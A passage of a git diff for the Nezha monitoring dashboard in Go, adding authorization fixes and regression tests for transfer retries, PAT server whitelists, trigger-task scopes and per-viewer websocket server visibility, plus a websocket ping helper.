setupRetryServerTransferFixture(t) + defer cleanup() + + seedServer(t, 1, 100) + failedID := seedFailedTransfer(t, 1, 100, 200, 100) + + resp, status := callRetryServerTransfer(t, failedID, 100, model.RoleMember) + + assert.Equal(t, http.StatusOK, status) + assert.False(t, resp.Success, "member retry is forbidden — the give-away semantics bypass batchMoveServer's ToUser==self policy") + assert.Contains(t, resp.Error, "permission denied") +} + +// batchMoveServer enforces "non-admin caller may only move a server TO +// themselves" (controller/server.go: ToUser != getUid(c) returns permission +// denied). retryServerTransfer historically only checked the live owner +// and not the transfer's ToUserID, which let the current owner re-push the +// server to ANY historical ToUserID — bypassing the batch-move policy. +// +// Concretely: alice (member) currently owns server 1; she finds a Failed +// transfer whose ToUserID is bob and retries it. The server lands on bob +// even though batch-move would have refused "alice -> bob" from her. +func TestRetryServerTransferRejectsNonAdminPushingToForeignToUserID(t *testing.T) { + cleanup := setupRetryServerTransferFixture(t) + defer cleanup() + + seedServer(t, 1, 100) + staleID := seedFailedTransfer(t, 1, 100 /*from*/, 200 /*to*/, 100 /*initiator*/) + + resp, status := callRetryServerTransfer(t, staleID, 100, model.RoleMember) + + assert.Equal(t, http.StatusOK, status) + assert.False(t, resp.Success, "non-admin owner cannot push their server to a historical foreign ToUserID — that would bypass batchMoveServer's ToUser==self policy") + assert.Contains(t, resp.Error, "permission denied") + + var s model.Server + assert.NoError(t, singleton.DB.First(&s, 1).Error) + assert.Equal(t, uint64(100), s.UserID, "rejected retry must not flip ownership") + + var count int64 + assert.NoError(t, singleton.DB.Model(&model.ServerTransfer{}).Where("status = ?", model.ServerTransferStatusPending).Count(&count).Error) + assert.Equal(t, int64(0), count, "rejected retry must not create a Pending row") +} + +// Admins must always be able to retry — they are the last-resort recovery +// path when an operator-cancelled transfer needs to be re-pushed. +func TestRetryServerTransferAllowsAdmin(t *testing.T) { + cleanup := setupRetryServerTransferFixture(t) + defer cleanup() + + seedServer(t, 1, 300) + failedID := seedFailedTransfer(t, 1, 100, 200, 100) + + resp, status := callRetryServerTransfer(t, failedID, 999, model.RoleAdmin) + + assert.Equal(t, http.StatusOK, status) + assert.True(t, resp.Success, "admin must be able to retry any transfer: error=%s", resp.Error) +} + +func setupRetryServerTransferFixture(t *testing.T) func() { + t.Helper() + if singleton.Localizer == nil { + singleton.Localizer = i18n.NewLocalizer("en_US", "nezha", "translations", i18n.Translations) + } + originalDB := singleton.DB + originalShared := singleton.ServerShared + originalTransferShared := singleton.ServerTransferShared + originalUserMap := singleton.UserInfoMap + + db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) + assert.NoError(t, err) + assert.NoError(t, db.AutoMigrate(&model.Server{}, &model.ServerTransfer{})) + singleton.DB = db + singleton.ServerShared = singleton.NewServerClass() + singleton.UserInfoMap = map[uint64]model.UserInfo{ + 100: {Role: model.RoleMember, AgentSecret: "alice-secret"}, + 200: {Role: model.RoleMember, AgentSecret: "bob-secret"}, + 300: {Role: model.RoleMember, AgentSecret: "charlie-secret"}, + } + singleton.ServerTransferShared = singleton.NewServerTransferClass() + + return func() { + if singleton.ServerTransferShared != nil { + singleton.ServerTransferShared.Stop() + } + singleton.DB = originalDB + singleton.ServerShared = originalShared + singleton.ServerTransferShared = originalTransferShared + singleton.UserInfoMap = originalUserMap + } +} + +func seedServer(t *testing.T, id, ownerID uint64) { + t.Helper() + s := &model.Server{ + Common: model.Common{ID: id, UserID: ownerID}, + UUID: "uuid-" + strconv.FormatUint(id, 10), + Name: "seeded", + } + assert.NoError(t, singleton.DB.Create(s).Error) + model.InitServer(s) + singleton.ServerShared.Update(s, s.UUID) +} + +func seedFailedTransfer(t *testing.T, serverID, fromUserID, toUserID, initiatorID uint64) uint64 { + t.Helper() + tr := &model.ServerTransfer{ + ServerID: serverID, + FromUserID: fromUserID, + ToUserID: toUserID, + InitiatorID: initiatorID, + Status: model.ServerTransferStatusFailed, + LastError: "seeded", + } + assert.NoError(t, singleton.DB.Create(tr).Error) + return tr.ID +} + +func callRetryServerTransfer(t *testing.T, transferID, callerID uint64, role model.Role) (commonResponseShape, int) { + t.Helper() + r := gin.New() + r.Use(func(c *gin.Context) { + setAuthUser(c, callerID, role) + c.Next() + }) + r.POST("/transfer/:id/retry", commonHandler(retryServerTransfer)) + + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodPost, "/transfer/"+strconv.FormatUint(transferID, 10)+"/retry", bytes.NewReader(nil)) + r.ServeHTTP(w, req) + + var resp commonResponseShape + assert.NoError(t, json.Unmarshal(w.Body.Bytes(), &resp)) + return resp, w.Code +} + +type commonResponseShape struct { + Success bool `json:"success"` + Error string `json:"error"` +} diff --git a/cmd/dashboard/controller/transfer_retry_pat_whitelist_test.go b/cmd/dashboard/controller/transfer_retry_pat_whitelist_test.go new file mode 100644 index 00000000..c3d7c287 --- /dev/null +++ b/cmd/dashboard/controller/transfer_retry_pat_whitelist_test.go @@ -0,0 +1,78 @@ +package controller + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "strconv" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/assert" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +// retryServerTransfer 必须像 cancel/list 一样受 PAT 的 server_ids 白名单收窄： +// admin 给自己签的 PAT 加上 ServerIDs={1} 之后，不能再用它 retry server 2 的 +// 历史 transfer 行。否则白名单只在 read/cancel 上生效，retry 路径仍是“admin +// 早返回 → 完全绕过白名单”，与 model.ServerTransfer.HasPermission 注释里 +// “PAT server_ids whitelist is evaluated FIRST, before the admin short- +// circuit” 直接冲突。 +func callRetryServerTransferWithAdminPAT(t *testing.T, transferID, callerID uint64, tok *model.APIToken) (commonResponseShape, int) { + t.Helper() + r := gin.New() + r.Use(func(c *gin.Context) { + setAuthUser(c, callerID, model.RoleAdmin) + if tok != nil { + c.Set(model.CtxKeyAPIToken, tok) + c.Set(apiTokenCtxKey, tok) + } + c.Next() + }) + r.POST("/transfer/:id/retry", commonHandler(retryServerTransfer)) + + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodPost, + "/transfer/"+strconv.FormatUint(transferID, 10)+"/retry", + bytes.NewReader(nil)) + r.ServeHTTP(w, req) + + var resp commonResponseShape + assert.NoError(t, json.Unmarshal(w.Body.Bytes(), &resp)) + return resp, w.Code +} + +func TestRetryServerTransfer_AdminPATIsNarrowedByServerWhitelist(t *testing.T) { + cleanup := setupRetryServerTransferFixture(t) + defer cleanup() + + seedServer(t, 1, 300) + seedServer(t, 2, 300) + insideID := seedFailedTransfer(t, 1, 100, 200, 100) + outsideID := seedFailedTransfer(t, 2, 100, 200, 100) + + tok := &model.APIToken{ID: 18, UserID: 999} + tok.SetServerIDs([]uint64{1}) + + respOutside, statusOutside := callRetryServerTransferWithAdminPAT(t, outsideID, 999, tok) + assert.Equal(t, http.StatusOK, statusOutside) + assert.False(t, respOutside.Success, + "admin PAT scoped to {1} must NOT retry transfer of server 2 (admin early-return is no longer a bypass)") + assert.Contains(t, respOutside.Error, "permission denied") + + var count int64 + assert.NoError(t, singleton.DB.Model(&model.ServerTransfer{}). + Where("status = ?", model.ServerTransferStatusPending). + Count(&count).Error) + assert.Equal(t, int64(0), count, + "rejected retry must not create a Pending row") + + respInside, statusInside := callRetryServerTransferWithAdminPAT(t, insideID, 999, tok) + assert.Equal(t, http.StatusOK, statusInside) + assert.True(t, respInside.Success, + "admin PAT scoped to {1} must still be able to retry transfer of server 1: %s", + respInside.Error) +} diff --git a/cmd/dashboard/controller/trigger_task_pat_scope_test.go b/cmd/dashboard/controller/trigger_task_pat_scope_test.go new file mode 100644 index 00000000..9173afbf --- /dev/null +++ b/cmd/dashboard/controller/trigger_task_pat_scope_test.go @@ -0,0 +1,99 @@ +package controller + +import ( + "net/http" + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +func newTriggerTaskCtxWithPAT(viewer *model.User, tok *model.APIToken) *gin.Context { + gin.SetMode(gin.TestMode) + c, _ := gin.CreateTestContext(httptest.NewRecorder()) + c.Request = httptest.NewRequest(http.MethodPost, "/api/v1/service", http.NoBody) + if viewer != nil { + c.Set(model.CtxKeyAuthorizedUser, viewer) + } + if tok != nil { + c.Set(model.CtxKeyAPIToken, tok) + c.Set(apiTokenCtxKey, tok) + } + return c +} + +// 注册一个用户 1 拥有的触发任务，使 CronShared.CheckPermission 通过， +// 从而隔离出「PAT 缺少 cron:exec」这一条裁决路径。 +func registerOwnerTriggerTask(t *testing.T, id uint64) { + t.Helper() + singleton.CronShared.Update(&model.Cron{ + Common: model.Common{ID: id, UserID: 1}, + Name: "trigger", + TaskType: model.CronTypeTriggerTask, + Cover: model.CronCoverAll, + }) +} + +func TestValidateServersPATTriggerTaskRequiresCronExec(t *testing.T) { + setupAlertRuleFanoutFixture(t) + registerOwnerTriggerTask(t, 100) + + viewer := &model.User{Common: model.Common{ID: 1}, Role: model.RoleAdmin} + + noExec := &model.APIToken{ID: 10, UserID: 1} + noExec.SetScopes([]string{model.ScopeServiceWrite}) + svc := &model.Service{ + Common: model.Common{UserID: 1}, + EnableTriggerTask: true, + FailTriggerTasks: []uint64{100}, + } + require.Error(t, validateServers(newTriggerTaskCtxWithPAT(viewer, noExec), svc), + "service:write PAT must not bind a trigger task without cron:exec") + + withExec := &model.APIToken{ID: 11, UserID: 1} + withExec.SetScopes([]string{model.ScopeServiceWrite, model.ScopeCronExec}) + require.NoError(t, validateServers(newTriggerTaskCtxWithPAT(viewer, withExec), svc), + "service:write + cron:exec PAT may bind a trigger task") +} + +func TestValidateRulePATTriggerTaskRequiresCronExec(t *testing.T) { + setupAlertRuleFanoutFixture(t) + registerOwnerTriggerTask(t, 200) + + viewer := &model.User{Common: model.Common{ID: 1}, Role: model.RoleAdmin} + + noExec := &model.APIToken{ID: 12, UserID: 1} + noExec.SetScopes([]string{model.ScopeAlertRuleWrite}) + rule := &model.AlertRule{ + Common: model.Common{UserID: 1}, + Name: "r", + Rules: []*model.Rule{{Type: "offline", Cover: model.RuleCoverAll, Duration: 10, Ignore: map[uint64]bool{}}}, + RecoverTriggerTasks: []uint64{200}, + } + require.Error(t, validateRule(newTriggerTaskCtxWithPAT(viewer, noExec), rule), + "alertrule:write PAT must not bind a trigger task without cron:exec") + + withExec := &model.APIToken{ID: 13, UserID: 1} + withExec.SetScopes([]string{model.ScopeAlertRuleWrite, model.ScopeCronExec}) + require.NoError(t, validateRule(newTriggerTaskCtxWithPAT(viewer, withExec), rule), + "alertrule:write + cron:exec PAT may bind a trigger task") +} + +// JWT 调用者（无 PAT）不受 cron:exec 收口影响。 +func TestValidateServersJWTUnaffectedByTriggerTaskScope(t *testing.T) { + setupAlertRuleFanoutFixture(t) + registerOwnerTriggerTask(t, 300) + + viewer := &model.User{Common: model.Common{ID: 1}, Role: model.RoleAdmin} + svc := &model.Service{ + Common: model.Common{UserID: 1}, + EnableTriggerTask: true, + FailTriggerTasks: []uint64{300}, + } + require.NoError(t, validateServers(newTriggerTaskCtxWithPAT(viewer, nil), svc), + "JWT caller must not be gated by cron:exec") +} diff --git a/cmd/dashboard/controller/user.go b/cmd/dashboard/controller/user.go index 66bdc647..e008f9c0 100644 --- a/cmd/dashboard/controller/user.go +++ b/cmd/dashboard/controller/user.go @@ -85,11 +85,15 @@ func updateProfile(c *gin.Context) (any, error) { user.Username = pf.NewUsername user.Password = string(hash) user.RejectPassword = pf.RejectPassword + user.TokenVersion += 1 if err := singleton.DB.Save(&user).Error; err != nil { return nil, newGormError("%v", err) } singleton.OnUserUpdate(&user) + if err := singleton.RevokeJWTSessionsByUser(user.ID); err != nil { + return nil, newGormError("%v", err) + } return nil, nil } diff --git a/cmd/dashboard/controller/websocket_ping.go b/cmd/dashboard/controller/websocket_ping.go new file mode 100644 index 00000000..0e780ebd --- /dev/null +++ b/cmd/dashboard/controller/websocket_ping.go @@ -0,0 +1,79 @@ +package controller + +import ( + "context" + "sync" + "time" + + "github.com/gorilla/websocket" +) + +type websocketPingWriter interface { + WriteMessage(messageType int, data []byte) error +} + +type websocketPingConnection interface { + websocketPingWriter + Close() error +} + +type websocketPingTransport struct { + websocketPingWriter + closeOnce sync.Once + closeErr error + close func() error +} + +func newWebsocketPingTransport(writer websocketPingWriter, close func() error) *websocketPingTransport { + return &websocketPingTransport{websocketPingWriter: writer, close: close} +} + +func (transport *websocketPingTransport) Close() error { + transport.closeOnce.Do(func() { transport.closeErr = transport.close() }) + return transport.closeErr +} + +func websocketPingLoop(ctx context.Context, ticks <-chan time.Time, writer websocketPingWriter) error { + for { + select { + case <-ctx.Done(): + return nil + case _, ok := <-ticks: + if !ok { + return nil + } + } + + select { + case <-ctx.Done(): + return nil + default: + } + if err := writer.WriteMessage(websocket.PingMessage, []byte{}); err != nil { + return err + } + } +} + +func startWebsocketPing(ctx context.Context, ticks <-chan time.Time, connection websocketPingConnection) func() { + workerContext, cancel := context.WithCancel(ctx) + workerDone := make(chan struct{}) + go func() { + defer close(workerDone) + _ = websocketPingLoop(workerContext, ticks, connection) + }() + return func() { + _ = connection.Close() + cancel() + <-workerDone + } +} + +func startWebsocketPingTicker(ctx context.Context, interval time.Duration, connection websocketPingConnection) func() { + ticker := time.NewTicker(interval) + stop := startWebsocketPing(ctx, ticker.C, connection) + return func() { + ticker.Stop() + stop() + } +} diff --git a/cmd/dashboard/controller/websocket_ping_test.go b/cmd/dashboard/controller/websocket_ping_test.go new file mode 100644 index 00000000..07667512 --- /dev/null +++ b/cmd/dashboard/controller/websocket_ping_test.go @@ -0,0 +1,152 @@ +package controller + +import ( + "context" + "errors" + "sync" + "testing" + "time" + + "github.com/stretchr/testify/require" +) + +type pingWriterFake struct { + mu sync.Mutex + writeCalls int + writeErr error + writeStarted chan struct{} + continueWrite chan struct{} +} + +func (writer *pingWriterFake) Close() error { return nil } + +type permanentlyBlockedPingWriter struct { + writeStarted chan struct{} + transportClosed chan struct{} +} + +func (writer *permanentlyBlockedPingWriter) WriteMessage(int, []byte) error { + close(writer.writeStarted) + <-writer.transportClosed + return errors.New("transport closed") +} + +func (writer *permanentlyBlockedPingWriter) Close() error { + close(writer.transportClosed) + return nil +} + +func (writer *pingWriterFake) WriteMessage(int, []byte) error { + writer.mu.Lock() + writer.writeCalls++ + writer.mu.Unlock() + if writer.writeStarted != nil { + close(writer.writeStarted) + <-writer.continueWrite + } + return writer.writeErr +} + +func (writer *pingWriterFake) calls() int { + writer.mu.Lock() + defer writer.mu.Unlock() + return writer.writeCalls +} + +func TestWebsocketPingLoop_stopsAndJoinsWithoutWritingAfterStop(t *testing.T) { + // Given + ticks := make(chan time.Time, 1) + writer := &pingWriterFake{writeStarted: make(chan struct{}), continueWrite: make(chan struct{})} + stop := startWebsocketPing(context.Background(), ticks, writer) + + // When + ticks <- time.Time{} + <-writer.writeStarted + close(writer.continueWrite) + stop() + ticks <- time.Time{} + + // Then + require.Equal(t, 1, writer.calls()) +} + +func TestWebsocketPingLoop_exitsOnWriteError(t *testing.T) { + // Given + ticks := make(chan time.Time, 1) + writer := &pingWriterFake{writeErr: errors.New("closed")} + done := make(chan error, 1) + go func() { done <- websocketPingLoop(context.Background(), ticks, writer) }() + + // When + ticks <- time.Time{} + + // Then + require.Error(t, <-done) + ticks <- time.Time{} + require.Equal(t, 1, writer.calls()) +} + +func TestWebsocketPingLoop_cleanupOverlapsTickAndJoinsWriter(t *testing.T) { + // Given + ticks := make(chan time.Time, 1) + writer := &pingWriterFake{ + writeStarted: make(chan struct{}), + continueWrite: make(chan struct{}), + } + stop := startWebsocketPing(context.Background(), ticks, writer) + ticks <- time.Time{} + <-writer.writeStarted + + // When + stopped := make(chan struct{}) + go func() { + stop() + close(stopped) + }() + select { + case <-stopped: + require.Fail(t, "ping worker stop returned before the in-flight write joined") + default: + } + close(writer.continueWrite) + <-stopped + ticks <- time.Time{} + + // Then + require.Equal(t, 1, writer.calls()) +} + +func TestWebsocketPingStop_unblocksPermanentlyBlockedWriteBeforeJoin(t *testing.T) { + // Given + ticks := make(chan time.Time, 1) + writer := &permanentlyBlockedPingWriter{ + writeStarted: make(chan struct{}), + transportClosed: make(chan struct{}), + } + stop := startWebsocketPing(context.Background(), ticks, writer) + ticks <- time.Time{} + <-writer.writeStarted + + // When + stopped := make(chan struct{}) + go func() { + stop() + close(stopped) + }() + + // Then + deadline := time.NewTimer(time.Second) + defer deadline.Stop() + select { + case <-writer.transportClosed: + case <-deadline.C: + require.Fail(t, "stop did not close the blocked ping transport") + } + select { + case <-stopped: + case <-deadline.C: + require.Fail(t, "stop did not join after closing the blocked ping transport") + } +} + +var _ websocketPingWriter = (*pingWriterFake)(nil) diff --git a/cmd/dashboard/controller/ws.go b/cmd/dashboard/controller/ws.go index 0efb3c73..67d1b44b 100644 --- a/cmd/dashboard/controller/ws.go +++ b/cmd/dashboard/controller/ws.go @@ -5,6 +5,9 @@ import ( "net" "net/http" "net/url" + "slices" + "strconv" + "strings" "time" "unicode/utf8" @@ -115,16 +118,25 @@ func serverStream(c *gin.Context) (any, error) { } defer conn.Close() + deregisterPAT := registerPATConnection(c, func() { _ = conn.Close() }) + defer deregisterPAT() + userIp := c.GetString(model.CtxKeyRealIPStr) if userIp == "" { userIp = c.RemoteIP() } u, isMember := c.Get(model.CtxKeyAuthorizedUser) - var userId uint64 + var ( + userId uint64 + isAdmin bool + ) if isMember { - userId = u.(*model.User).ID + user := u.(*model.User) + userId = user.ID + isAdmin = user.Role.IsAdmin() } + patAccessor, patCacheKey := patStreamContext(c) singleton.AddOnlineUser(connId, &model.OnlineUser{ UserID: userId, @@ -136,7 +148,7 @@ func serverStream(c *gin.Context) (any, error) { count := 0 for { - stat, err := getServerStat(count == 0, isMember) + stat, err := getServerStat(count == 0, userId, isAdmin, patAccessor, patCacheKey) if err != nil { continue } @@ -157,33 +169,21 @@ func serverStream(c *gin.Context) (any, error) { var requestGroup singleflight.Group -func getServerStat(withPublicNote, authorized bool) ([]byte, error) { - v, err, _ := requestGroup.Do(fmt.Sprintf("serverStats::%t", authorized), func() (any, error) { - var serverList []*model.Server - if authorized { - serverList = singleton.ServerShared.GetSortedList() - } else { - serverList = singleton.ServerShared.GetSortedListForGuest() - } - - servers := make([]model.StreamServer, 0, len(serverList)) - for _, server := range serverList { - var countryCode string - if server.GeoIP != nil { - countryCode = server.GeoIP.CountryCode - } - servers = append(servers, model.StreamServer{ - ID: server.ID, - Name: server.Name, - PublicNote: utils.IfOr(withPublicNote, server.PublicNote, ""), - DisplayIndex: server.DisplayIndex, - Host: utils.IfOr(authorized, server.Host, server.Host.Filter()), - State: server.State, - CountryCode: countryCode, - LastActive: server.LastActive, - }) - } - +// getServerStat returns the websocket frame the viewer is allowed to see. +// The cache key must include the viewer's identity because the projection +// depends on per-server ownership: prior to GHSA-hvv7-hfrh-7gxj this function +// used a single isMember flag and leaked HideForGuest servers plus full Host +// (PlatformVersion, agent Version, GPU) to every authenticated user. +// +// patCacheKey distinguishes PATs with disjoint server_ids whitelists so two +// limited tokens for the same user do not share a singleflight projection. +func getServerStat(withPublicNote bool, viewerUserID uint64, viewerIsAdmin bool, pat model.APITokenAccessor, patCacheKey string) ([]byte, error) { + cacheKey := fmt.Sprintf("serverStats::%t::%t::%d::%s", withPublicNote, viewerIsAdmin, viewerUserID, patCacheKey) + v, err, _ := requestGroup.Do(cacheKey, func() (any, error) { + servers := filterServersForViewer( + singleton.ServerShared.GetSortedList(), + viewerUserID, viewerIsAdmin, withPublicNote, pat, + ) return json.Marshal(model.StreamServerData{ Now: time.Now().Unix() * 1000, Online: singleton.GetOnlineUserCount(), @@ -193,3 +193,64 @@ func getServerStat(withPublicNote, authorized bool) ([]byte, error) { return v.([]byte), err } + +// patStreamContext extracts the PAT accessor + a deterministic cache key +// fragment for the singleflight projection. Returns (nil, "jwt") for JWT +// requests so two callers from the same user collapse onto one frame. +func patStreamContext(c *gin.Context) (model.APITokenAccessor, string) { + tok := APITokenFromContext(c) + if tok == nil { + return nil, "jwt" + } + ids := tok.ServerIDs() + slices.Sort(ids) + parts := make([]string, 0, len(ids)) + for _, id := range ids { + parts = append(parts, strconv.FormatUint(id, 10)) + } + return tok, fmt.Sprintf("pat:%d:%s", tok.ID, strings.Join(parts, ",")) +} + +// filterServersForViewer projects the global server list down to what a single +// viewer is allowed to see. The rules are: +// - HideForGuest servers are visible only to their owner and to admins. +// - Non-owner / non-admin viewers (including authenticated members) get +// Host.Filter() output, which drops PlatformVersion and agent Version. +// - Admins are unconstrained. +// - A non-nil pat whitelist narrows visibility further; servers outside its +// allow-list are dropped even from admins/owners (a PAT scoped to a +// subset must never widen via its caller's role). +// +// viewerUserID == 0 represents an unauthenticated guest. +func filterServersForViewer(servers []*model.Server, viewerUserID uint64, viewerIsAdmin bool, withPublicNote bool, pat model.APITokenAccessor) []model.StreamServer { + out := make([]model.StreamServer, 0, len(servers)) + for _, server := range servers { + runtime := server.RuntimeSnapshot() + if pat != nil && !pat.CanAccessServer(server.ID) { + continue + } + isOwnerOrAdmin := viewerIsAdmin || (viewerUserID != 0 && server.GetUserID() == viewerUserID) + if server.HideForGuest && !isOwnerOrAdmin { + continue + } + var countryCode string + if server.GeoIP != nil { + countryCode = server.GeoIP.CountryCode + } + publicHost := runtime.Host + if publicHost != nil && !isOwnerOrAdmin { + publicHost = publicHost.Filter() + } + out = append(out, model.StreamServer{ + ID: server.ID, + Name: server.Name, + PublicNote: utils.IfOr(withPublicNote, server.PublicNote, ""), + DisplayIndex: server.DisplayIndex, + Host: publicHost, + State: runtime.State, + CountryCode: countryCode, + LastActive: runtime.LastActive, + }) + } + return out +} diff --git a/cmd/dashboard/controller/ws_stream_visibility_test.go b/cmd/dashboard/controller/ws_stream_visibility_test.go new file mode 100644 index 00000000..61a2745d --- /dev/null +++ b/cmd/dashboard/controller/ws_stream_visibility_test.go @@ -0,0 +1,205 @@ +package controller + +import ( + "testing" + "time" + + "github.com/stretchr/testify/assert" + + "github.com/nezhahq/nezha/model" +) + +func makeStreamTestServers() []*model.Server { + return []*model.Server{ + { + Common: model.Common{ID: 1, UserID: 100}, + Name: "alice-public", + PublicNote: "alice-public-note", + DisplayIndex: 0, + HideForGuest: false, + Host: &model.Host{ + Platform: "linux", PlatformVersion: "6.1", + CPU: []string{"amd64"}, Version: "agent-v1", GPU: []string{"rtx"}, + }, + State: &model.HostState{CPU: 0.1}, + LastActive: time.Unix(1_700_000_000, 0).UTC(), + }, + { + Common: model.Common{ID: 2, UserID: 100}, + Name: "alice-hidden", + PublicNote: "alice-hidden-note", + DisplayIndex: 0, + HideForGuest: true, + Host: &model.Host{ + Platform: "linux", PlatformVersion: "6.5", + CPU: []string{"amd64"}, Version: "agent-v2", GPU: []string{"rtx"}, + }, + State: &model.HostState{CPU: 0.2}, + LastActive: time.Unix(1_700_000_001, 0).UTC(), + }, + { + Common: model.Common{ID: 3, UserID: 200}, + Name: "bob-public", + PublicNote: "bob-public-note", + DisplayIndex: 0, + HideForGuest: false, + Host: &model.Host{ + Platform: "darwin", PlatformVersion: "14.0", + CPU: []string{"arm64"}, Version: "agent-v3", GPU: []string{"m2"}, + }, + State: &model.HostState{CPU: 0.3}, + LastActive: time.Unix(1_700_000_002, 0).UTC(), + }, + { + Common: model.Common{ID: 4, UserID: 200}, + Name: "bob-hidden", + PublicNote: "bob-hidden-note", + DisplayIndex: 0, + HideForGuest: true, + Host: &model.Host{ + Platform: "darwin", PlatformVersion: "14.1", + CPU: []string{"arm64"}, Version: "agent-v4", GPU: []string{"m2"}, + }, + State: &model.HostState{CPU: 0.4}, + LastActive: time.Unix(1_700_000_003, 0).UTC(), + }, + } +} + +func findStreamServer(out []model.StreamServer, id uint64) *model.StreamServer { + for i := range out { + if out[i].ID == id { + return &out[i] + } + } + return nil +} + +// Guest: no auth → skip every HideForGuest server, Host.Filter() drops +// PlatformVersion and agent Version while keeping the rest (including GPU). +func TestFilterServersForViewerGuestHidesPrivateAndRedactsHost(t *testing.T) { + out := filterServersForViewer(makeStreamTestServers(), 0, false, true, nil) + + assert.Len(t, out, 2) + assert.Nil(t, findStreamServer(out, 2), "alice-hidden should be invisible to guests") + assert.Nil(t, findStreamServer(out, 4), "bob-hidden should be invisible to guests") + + alicePublic := findStreamServer(out, 1) + if assert.NotNil(t, alicePublic) { + assert.Empty(t, alicePublic.Host.PlatformVersion, "guest must not see PlatformVersion") + assert.Empty(t, alicePublic.Host.Version, "guest must not see agent Version") + assert.Equal(t, "linux", alicePublic.Host.Platform, "non-sensitive Platform stays visible") + assert.Equal(t, "alice-public-note", alicePublic.PublicNote) + } +} + +// Non-owner member must see exactly the same data as a guest: +// no HideForGuest servers, and Host details on visible servers are redacted. +func TestFilterServersForViewerNonOwnerMemberMatchesGuest(t *testing.T) { + servers := makeStreamTestServers() + carolID := uint64(300) + out := filterServersForViewer(servers, carolID, false, true, nil) + + assert.Len(t, out, 2) + assert.Nil(t, findStreamServer(out, 2)) + assert.Nil(t, findStreamServer(out, 4)) + + bobPublic := findStreamServer(out, 3) + if assert.NotNil(t, bobPublic) { + assert.Empty(t, bobPublic.Host.PlatformVersion) + assert.Empty(t, bobPublic.Host.Version) + } +} + +// Owner member: sees own HideForGuest servers with full Host, sees others' +// visible servers with redacted Host, never sees others' hidden servers. +func TestFilterServersForViewerOwnerSeesOwnHiddenAndFullHost(t *testing.T) { + servers := makeStreamTestServers() + aliceID := uint64(100) + out := filterServersForViewer(servers, aliceID, false, true, nil) + + assert.Len(t, out, 3, "alice sees her 2 servers + bob's 1 public server") + assert.Nil(t, findStreamServer(out, 4), "alice must not see bob's hidden server") + + aliceHidden := findStreamServer(out, 2) + if assert.NotNil(t, aliceHidden) { + assert.Equal(t, "6.5", aliceHidden.Host.PlatformVersion, "owner sees full Host on her own hidden server") + assert.Equal(t, "agent-v2", aliceHidden.Host.Version) + } + + bobPublic := findStreamServer(out, 3) + if assert.NotNil(t, bobPublic) { + assert.Empty(t, bobPublic.Host.PlatformVersion, "non-owner Host is still redacted even for member viewer") + assert.Empty(t, bobPublic.Host.Version) + } +} + +// Admin: no restrictions — sees every server with full Host, regardless of owner or HideForGuest. +func TestFilterServersForViewerAdminSeesAllWithFullHost(t *testing.T) { + servers := makeStreamTestServers() + out := filterServersForViewer(servers, 999, true, true, nil) + + assert.Len(t, out, 4) + for _, s := range out { + assert.NotEmpty(t, s.Host.PlatformVersion, "admin must see PlatformVersion on every server") + assert.NotEmpty(t, s.Host.Version, "admin must see agent Version on every server") + } +} + +// First-tick frame includes PublicNote, subsequent frames omit it. +// This must hold regardless of viewer. +func TestFilterServersForViewerWithoutPublicNoteFlagOmitsNote(t *testing.T) { + out := filterServersForViewer(makeStreamTestServers(), 0, false, false, nil) + + for _, s := range out { + assert.Empty(t, s.PublicNote, "follow-up frames must not include PublicNote") + } +} + +// patAllowList implements model.APITokenAccessor: empty = unrestricted. +type patAllowList []uint64 + +func (p patAllowList) CanAccessServer(id uint64) bool { + if len(p) == 0 { + return true + } + for _, allowed := range p { + if allowed == id { + return true + } + } + return false +} + +// ServerIDs lets model.DenyListSafeForLimitedPAT see the same "empty = +// unrestricted" convention CanAccessServer encodes. +func (p patAllowList) ServerIDs() []uint64 { + return []uint64(p) +} + +// PAT server_ids whitelist must narrow ws/server visibility even for admins; +// otherwise an admin-issued limited PAT still leaks every server's state. +func TestFilterServersForViewerPATWhitelistNarrowsAdmin(t *testing.T) { + out := filterServersForViewer(makeStreamTestServers(), 999, true, true, patAllowList{3}) + + if assert.Len(t, out, 1, "admin PAT scoped to server_ids=[3] must only see server 3") { + assert.Equal(t, uint64(3), out[0].ID) + } + assert.Nil(t, findStreamServer(out, 1), "admin PAT must not see server 1 outside whitelist") + assert.Nil(t, findStreamServer(out, 2), "admin PAT must not see server 2 outside whitelist") + assert.Nil(t, findStreamServer(out, 4), "admin PAT must not see server 4 outside whitelist") +} + +func TestFilterServersForViewerPATWhitelistNarrowsOwner(t *testing.T) { + out := filterServersForViewer(makeStreamTestServers(), 100, false, true, patAllowList{2}) + + if assert.Len(t, out, 1, "owner PAT scoped to {2} must only see server 2") { + assert.Equal(t, uint64(2), out[0].ID) + } + assert.Nil(t, findStreamServer(out, 1), "owner PAT must not see her own server 1 outside whitelist") +} + +func TestFilterServersForViewerNilPATKeepsLegacyVisibility(t *testing.T) { + withNil := filterServersForViewer(makeStreamTestServers(), 999, true, true, nil) + assert.Len(t, withNil, 4, "no PAT must keep admin-wide visibility") +} diff --git a/cmd/dashboard/dashboard_listener.go b/cmd/dashboard/dashboard_listener.go new file mode 100644 index 00000000..ca38c6a5 --- /dev/null +++ b/cmd/dashboard/dashboard_listener.go @@ -0,0 +1,15 @@ +package main + +import "fmt" + +type dashboardListenerKind string + +const ( + dashboardHTTPListener dashboardListenerKind = "http" + dashboardHTTPSListener dashboardListenerKind = "https" + dashboardReceiptListener dashboardListenerKind = "receipt" +) + +func dashboardListenerAddress(host string, port uint16) string { + return fmt.Sprintf("%s:%d", host, port) +} diff --git a/cmd/dashboard/dashboard_listener_default.go b/cmd/dashboard/dashboard_listener_default.go new file mode 100644 index 00000000..7a32947e --- /dev/null +++ b/cmd/dashboard/dashboard_listener_default.go @@ -0,0 +1,18 @@ +//go:build !agentcompat + +package main + +import ( + "net" + "net/http" +) + +func openReceiptGateListener() (net.Listener, error) { return nil, nil } + +func openDashboardListener(network, address string, _ dashboardListenerKind) (net.Listener, error) { + return net.Listen(network, address) +} + +func serveDashboardHTTPS(server *http.Server, certificatePath, keyPath string) error { + return server.ListenAndServeTLS(certificatePath, keyPath) +} diff --git 